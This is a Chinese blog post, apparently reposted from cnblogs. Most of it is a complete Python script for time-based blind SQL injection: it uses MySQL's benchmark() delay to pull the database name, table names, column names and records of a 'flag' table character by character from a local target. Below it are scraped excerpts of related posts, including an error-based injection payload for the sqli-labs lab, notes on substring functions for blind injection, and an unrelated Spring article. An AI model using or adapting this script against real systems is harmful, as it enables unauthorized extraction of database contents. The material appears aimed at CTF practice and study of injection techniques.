sql注入------基于时间延迟benchmark函数注入脚本

import requests
urlx = ‘http://127.0.0.1/?id= 1 and if((substr((select database()),‘
payloads = ‘qwertyuiopasdfghjklzxcvbnm{}_0123456789‘

def guess_column(table):
    string = ‘‘
    extend = 0
    list = []
    length2 = 0
    num = []
    num1 = []
    url1 = ‘http://127.0.0.1/?id= 1 and if(((select count(column_name) from information_schema.columns where table_name=\‘‘+ table + ‘\‘)=‘
    url2 = ‘http://127.0.0.1/?id= 1 and if((substr((select column_name from information_schema.columns where table_name=\‘‘ + table + ‘\‘ limit ‘
    url3 = ‘http://127.0.0.1/?id= 1 and if(((select length(column_name) from information_schema.columns where table_name=\‘‘ + table + ‘\‘ limit ‘
    url4 = ‘http://127.0.0.1/?id= 1 and if(((substr((select ‘
    url5 = ‘http://127.0.0.1/?id= 1 and if(((select count(‘
    url7 = ‘http://127.0.0.1/?id= 1 and if(((select length(‘
    for i in range(50):                                               #获取字段数量
        url = url1 + str(i) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
        r = requests.get(url)
        print(url)
        time = r.elapsed.total_seconds()
        print(time)
        if time > 1.5:
            extend = i
            length2 = i
            break
    for k in range(extend):
        st = ‘‘
        extend1 = 0
        for m in range(100):
            url = url3 + str(k) + ‘,1)=‘ + str(m) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘       #获取字段长度
            r = requests.get(url)
            if time > 1.5:
                extend1 = m
                break
        for i in range(1,extend1+1):         #获取字段
            for payload in payloads:
                url = url2 + str(k) + ‘,1),‘ + str(i) + ‘,1)=\‘‘ + payload + ‘\‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
                r = requests.get(url)
                time = r.elapsed.total_seconds()
                if time > 1.5:
                    print(url)
                    st += payload
                    break
        list.append(st)
        num1.append(st)
    length = 0
    for i in range(1,10000):                 #获取记录数量
        url = url5 + str(num1[0]) + ‘) from ‘ + table + ‘)=‘ + str(i) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
        print(url)
        r = requests.get(url)
        time = r.elapsed.total_seconds()
        if time > 1.5:
            length = i
            break
    for column in list:
        str1 = ‘‘
        for i in range(length):
            length1 = 0
            url6 = url4 + str(column) + ‘ from ‘ + table + ‘ limit ‘ + str(i)
            for k in range(100):                  #获取记录长度
                url = url7 + str(column) + ‘) from ‘+ table + ‘ limit ‘ + str(i) + ‘,1)=‘ + str(k) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
                r = requests.get(url)
                time = r.elapsed.total_seconds()
                if time > 1.5:
                    print(url)
                    length1 = k
                    break
            for n in range(1,length1+1):              #获取记录
                for payload in payloads:
                    url = url6 + ‘,1),‘ + str(n) + ‘,1))=\‘‘ + str(payload) + ‘\‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
                    r = requests.get(url)
                    time = r.elapsed.total_seconds()
                    if time > 1.5:
                        print(url)
                        str1 += payload
                        break
            num.append(str1)
            str1 = ‘‘
    for column in num1:
        print(column+‘    ‘,end=‘‘)
    print(‘\n‘,end=‘‘)
    for i in range(length2):
        for k in range(length):
            x = i + length * k
            print(num[x]+‘    ‘,end=‘‘)
        print(‘\n‘,end=‘‘)
def guess_table():
    string = ‘‘
    extend = 0
    list = []
    url1 = ‘http://127.0.0.1/?id= 1 and if(((select count(table_name) from information_schema.tables where table_schema=database())=‘
    url2 = ‘http://127.0.0.1/?id= 1 and if((substr((select table_name from information_schema.tables where table_schema=database() limit ‘
    url3 = ‘http://127.0.0.1/?id= 1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit ‘
    for i in range(50):
        url = url1 + str(i) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
        r = requests.get(url)
        time = r.elapsed.total_seconds()
        if time > 1.5:
            extend = i
            break
    for k in range(extend):
        st = ‘‘
        extend1 = 0
        for m in range(100):
            url = url3 + str(k) + ‘,1)=‘ + str(m) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
            r = requests.get(url)
            time = r.elapsed.total_seconds()
            if time > 1.5:
                extend1 = m
                break
        for i in range(1,extend1+1):
            for payload in payloads:
                url = url2 + str(k) + ‘,1),‘ + str(i) + ‘,1)=\‘‘ + payload + ‘\‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
                r = requests.get(url)
                time = r.elapsed.total_seconds()
                if time > 1.5:
                    st += payload
                    break
        list.append(st)
    print(‘------------‘)
    for i in list:
        print(f‘[*]{i}‘)
    print(‘------------‘)
    guess_column(‘flag‘)

def main():
    string = ‘‘
    url1 = ‘http://127.0.0.1/?id= 1 and if((length(database())=‘
    extend = 0
    for k in range(20):
        url = url1 + str(k) + ‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
        r = requests.get(url)
        time = r.elapsed.total_seconds()
        if time > 1.5:
            extend = k
            break
    for i in range(1,extend+1):
        for payload in payloads:
            url = urlx + str(i) + ‘,1)=\‘‘
            url = url + payload + ‘\‘),benchmark(1000000,md5(\‘test\‘)),NULL); %23‘
            r = requests.get(url)
            time = r.elapsed.total_seconds()
            if time > 1.5:
                string += payload
                break
    print(f‘available database\n[*] {string}‘)
    guess_table()

main()

原文地址:https://www.cnblogs.com/aWxvdmVseXc0/p/10029914.html

时间: 2024-11-08 01:53:07

sql注入------基于时间延迟benchmark函数注入脚本的相关文章

sql注入--基于报错的注入

这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学院的教程)基于报错的注入,如图,在数据库上测试,产生报错 http://localhost/sqlilabs/Less-5/index.php?id=3' and (select 1 from(select count(*),concat(0x3a,0x3a,database(),0x3a,0x3a

sql盲注之报错注入(附自动化脚本)

作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数

用于防SQL注入的几个函数

不要相信用户的在登陆中输入的内容,需要对用户的输入进行处理 SQL注入: ' or 1=1 # 防止SQL注入的几个函数: addslashes($string):用反斜线引用字符串中的特殊字符' " \ $username=addslashes($username); mysql_escape_string($string):用反斜杠转义字符串中的特殊字符,用于mysql_query()查询. $username=mysql_escape_string($username); mysql_re

Sql注入截取字符串常用函数

  在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也成为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串.本文中主要列举三个函数和该函数注入过程中的一些用例.Ps;此处用mysql进行说明,其他类型数据库请自行检测. 三大法宝:mid(),substr(),left() mid()函数 此函数为截取字符串一部分.MID(column_name,start[,length]) 参数 描述 column_name 必需.要提取字符的字段. start

SQL注入之mysql显错注入

在我们实际渗透中,明明发现一个注入点,本以为丢给sqlmap就可以了,结果sqlmap只显示确实是注入点,但是数据库却获取不了,如图1所示,这时我们可以使用手工进行注入,判断出过滤规则以及基本过滤情况,然后再选择对应的sqlmap脚本(如果有的话),本文主要是讲述如何通过mysql函数报错来进行注入,另外如何使用手工进行全程注入的利用过程,如果你知道sqlmap里面有对应的脚本的话,烦请告知一下,谢谢!. 图1 获取数据库失败 此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql

SQL注入原理以及如何避免注入

SQL注入:到底什么时候会用到SQL呢?回答是访问数据库的时候,也就是说SQL注入-->直接威胁到了数据源,呵呵,数据库都收到了威胁,网站还能正常现实么? 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句.[1]

Phpcms v9 poster_click函数注入漏洞(GBK和utf8都存在)(已修复)

Phpcms v9 poster_click函数注入漏洞(GBK和utf8都存在)(已修复) 2012-12-21      0个评论       收藏    我要投稿 一.        漏洞原理: 漏洞存在于poster模块<ignore_js_op>可见我们可以控制HTTP_REFERER,而且不受magic_quotes_gpc()控制.所以能够成功注入sql语句里,导致产生sql注入漏洞. 二.        漏洞利用效果及危害:此漏洞存在于最新的Phpcms v9版本,下面是官方的

详解 Spring 3.0 基于 Annotation 的依赖注入实现(转)

使用 @Repository.@Service.@Controller 和 @Component 将类标识为 Bean Spring 自 2.0 版本开始,陆续引入了一些注解用于简化 Spring 的开发.@Repository 注解便属于最先引入的一批,它用于将数据访问层 (DAO 层 ) 的类标识为 Spring Bean.具体只需将该注解标注在 DAO 类上即可.同时,为了让 Spring 能够扫描类路径中的类并识别出 @Repository 注解,需要在 XML 配置文件中启用 Bean

详解 Spring 3.0 基于 Annotation 的依赖注入实现--转载

使用 @Repository.@Service.@Controller 和 @Component 将类标识为 Bean Spring 自 2.0 版本开始,陆续引入了一些注解用于简化 Spring 的开发.@Repository 注解便属于最先引入的一批,它用于将数据访问层 (DAO 层 ) 的类标识为 Spring Bean.具体只需将该注解标注在 DAO 类上即可.同时,为了让 Spring 能够扫描类路径中的类并识别出 @Repository 注解,需要在 XML 配置文件中启用 Bean